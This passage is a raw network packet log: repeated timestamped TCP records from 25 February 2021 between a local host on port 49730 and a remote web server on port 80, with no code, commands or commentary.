Feb 25, 2021 15:15:49.110002995 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.110018015 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.110033989 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.110057116 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.110090017 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.110847950 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.110866070 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.110881090 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.110898972 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.110909939 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.110915899 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.110935926 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.110956907 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.111097097 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.111709118 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.111733913 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.111752987 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.111768961 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.111783981 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.111803055 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.111804008 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.111848116 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.112571001 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.112588882 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.112615108 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.112629890 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.112647057 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.112651110 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.112667084 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.112680912 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.112715960 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.113452911 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.113471985 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.113492012 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.113507986 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.113523960 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.113533020 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.113539934 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.113571882 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.113611937 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.114327908 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.114345074 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.114357948 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.114384890 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.114399910 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.114403963 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.114414930 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.114463091 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.115187883 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.115206003 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.115222931 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.115237951 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.115252972 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.115267038 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.115271091 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.115298986 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.115331888 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.116049051 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.116066933 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.116082907 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.116099119 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.116115093 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.116126060 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.116130114 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.116183996 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.116887093 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.116904020 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.116919994 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.116935015 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.116950989 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.116980076 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.116997957 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.117038965 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.117762089 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.117779016 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.117794037 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.117810011 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.117825031 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.117849112 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.117849112 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.117909908 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.118617058 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.118634939 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.118650913 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.118665934 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.118680954 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.118683100 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.118695974 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.118721962 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.118751049 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.119416952 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.119435072 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.119448900 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.119465113 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.119481087 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.119487047 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.119499922 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.119537115 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.119563103 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.120269060 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.120287895 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.120302916 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.120317936 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.120332956 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.120343924 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.120351076 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.120368004 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.120414019 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.121090889 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.121109009 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.121124029 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.121139050 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.121155024 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.121169090 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.121185064 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.121206999 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.121241093 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.122050047 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.122071981 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.122090101 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.122106075 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.122122049 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.122143984 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.122184992 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.122714996 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.122733116 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.122747898 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.122769117 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.122786045 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.122798920 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.122802019 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.122817993 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.122838020 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.122867107 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.123670101 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.123697042 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.123713970 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.123728991 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.123733044 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.123744965 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.123764038 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.123788118 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.123800993 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.123822927 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.123850107 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.124596119 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.124619961 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.124640942 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.124660969 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.124665022 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.124679089 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.124694109 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.124710083 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.124716997 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.124742985 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.125520945 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.125539064 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.125555038 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.125571012 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.125586987 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.125597000 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.125602007 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.125617981 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.125659943 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.125689983 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.126422882 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.126441002 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.126466990 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.126486063 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.126502037 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.126504898 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.126517057 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.126533031 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.126533031 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.126585007 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.127336025 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.127355099 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.127366066 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.127377987 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.127391100 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.127407074 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.127420902 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.127425909 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.127454042 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.127486944 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.128205061 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.128226042 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.128242970 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.128258944 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.128276110 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.128289938 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.128290892 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.128309965 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.128329992 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.129101992 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.129122019 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.129136086 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.129156113 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.129172087 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.129177094 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.129188061 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.129204035 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.129215956 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.129261971 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.129971027 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.129987955 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.130053997 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.130089045 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.130105019 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.130124092 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.130140066 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.130171061 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.130213022 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.130683899 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.130700111 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.130712986 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.130734921 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.130752087 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.130759954 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.130770922 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.130800009 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.130804062 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.130845070 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.131572962 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.131612062 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.131639957 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.131671906 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.131680965 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.131705999 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.131711960 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.131747007 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.131762028 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.131798983 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.131824970 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.132380962 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.132400036 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.132415056 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.132431984 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.132447004 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.132453918 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.132462025 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.132478952 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.132493973 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.132504940 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.132539034 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.133371115 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.133402109 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.133418083 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.133436918 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.133454084 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.133469105 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.133481979 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.133483887 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.133498907 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.133522034 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.133550882 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.134304047 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.134321928 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.134341955 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.134358883 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.134373903 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.134376049 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.134390116 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.134404898 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.134419918 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.134430885 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.134465933 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.135315895 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.135335922 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.135351896 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.135442972 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.311249971 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.358189106 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.389533043 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.389556885 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.389579058 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.389584064 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.389600039 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.389617920 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.389630079 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.389638901 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.389646053 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.389662981 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.389678955 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.389693022 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.389705896 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.389755964 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.396203995 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396234989 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396254063 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396270037 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396285057 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396297932 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396331072 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.396388054 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.396614075 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396639109 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396665096 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396681070 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.396687984 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396717072 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.396718979 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396748066 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396760941 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.396769047 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396789074 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396805048 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396819115 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396821976 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.396835089 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396847963 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.396850109 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396869898 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396883011 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396888971 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.396894932 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396905899 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.396918058 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.397006035 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.406306028 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406327009 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406343937 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406364918 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406389952 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406399965 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.406410933 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406429052 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406444073 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406459093 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.406464100 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406480074 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406491995 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.406495094 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406511068 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406548023 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.406589031 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.406691074 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406714916 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406739950 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406764030 CET	80	49730	172.67.172.17	192.168.2.7
